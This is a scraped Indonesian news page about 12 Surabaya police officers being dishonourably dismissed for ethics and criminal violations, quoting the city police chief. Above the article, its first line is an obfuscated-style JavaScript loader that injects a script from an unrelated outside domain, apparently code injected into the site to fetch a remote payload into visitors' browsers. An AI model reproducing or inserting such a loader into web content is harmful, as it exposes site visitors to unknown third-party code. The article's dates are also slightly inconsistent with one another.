(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Sebanyak 12 anggota Polrestabes Surabaya dipecat secara tidak hormat. Pemberhentian tidak dengan hormat (PTDH) tersebut berdasar Keputusan Kepala Kepolisian Daerah Jawa Timur Nomor: 950-961/V/2021.
Sejumlah 12 polisi tersebut secara resmi tidak berdinas di institusi Polri terhitung sejak 31 Mei 2022.
Kapolrestabes Surabaya Kombes Pol Akhmad Yusep Gunawan mengatakan, upacara PTDH merupakan program untuk menertibkan anggota kepolisian yang memiliki pelanggaran etika apalagi pidana.
“Kami menindak tegas secara keras dan terukur, sesuai ketentuan berlaku terhadap anggota-anggota yang melakukan pelanggaran, baik disiplin, etika, dan pidana,” ujarnya mengutip dari Beritajatim.com jejaring Suara.com, Senin (14/2/2022).
Baca juga: Mendaki Gunung Pamaton, Youtuber Amuntai Tersesat Sejak Dua Hari Lalu Ditemukan!
Yusep menambahkan, pihak kepolisian tidak akan mentolerir anggota yang melakukan penyalahgunaan wewenang dan merugikan organisasi. Ia pun mengingatkan kepada anggotanya untuk senantiasa melayani masyarakat.
“Semua kebanggaan terhadap institusi dan mendapatkan perhatian yang baik. Namun, 12 personel melakukan pelanggaran yang berat tidak dapat ditolerir oleh organisasi,” tuturnya.
Dia menegaskan agar 2560 anggota kepolisian di Surabaya belajar dari kasus 12 anggota yang dipecat secara tidak hormat. Ia pun akan melaksanakan evaluasi guna memastikan anggotanya berperilaku baik saat bertugas.
“Kami memohon dukungan dan bantuan dari semua pihak. Kami harus mengingatkan agar anggota bertugas dengan baik dan yang pasti tidak melakukan hal-hal yang menyimpang,s sehingga masyarakat merasa aman dan kepercayaan masyarakat terhadap instansi meningkat,” kata Yusep. (kanalkalimantan.com/suara.com)
Dalam upacara ini, para pelanggar tidak hadir sehingga upacara dilaksanakan dengan in absentia. Mereka hanya diwakilkan dengan pembawa foto anggota yang melanggar.
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.